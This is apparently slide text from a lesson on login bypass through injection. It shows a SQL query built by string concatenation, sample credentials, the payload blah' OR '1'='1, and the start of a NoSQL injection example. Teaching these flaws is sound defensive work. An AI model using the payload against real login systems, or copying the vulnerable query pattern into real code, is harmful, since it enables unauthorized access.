Bypassing password check

```
db.run("SELECT * FROM users
WHERE USERNAME = '" + username + "'
   AND PASSWORD = '" + password + "'"
```

```
username: alice
password: pass4alice
```

blah' OR '1'='1

Bypassing password check

```
db.run("SELECT * FROM users
WHERE USERNAME = '" + username + "'
  AND PASSWORD = '" + password + "'"
```

```
username: alice
password: password
```

blah' OR '1'='1

NoSQL Injection

```
db.find({  username: username,
           password: password   });
```

```
username: alice
password: pass4alice
```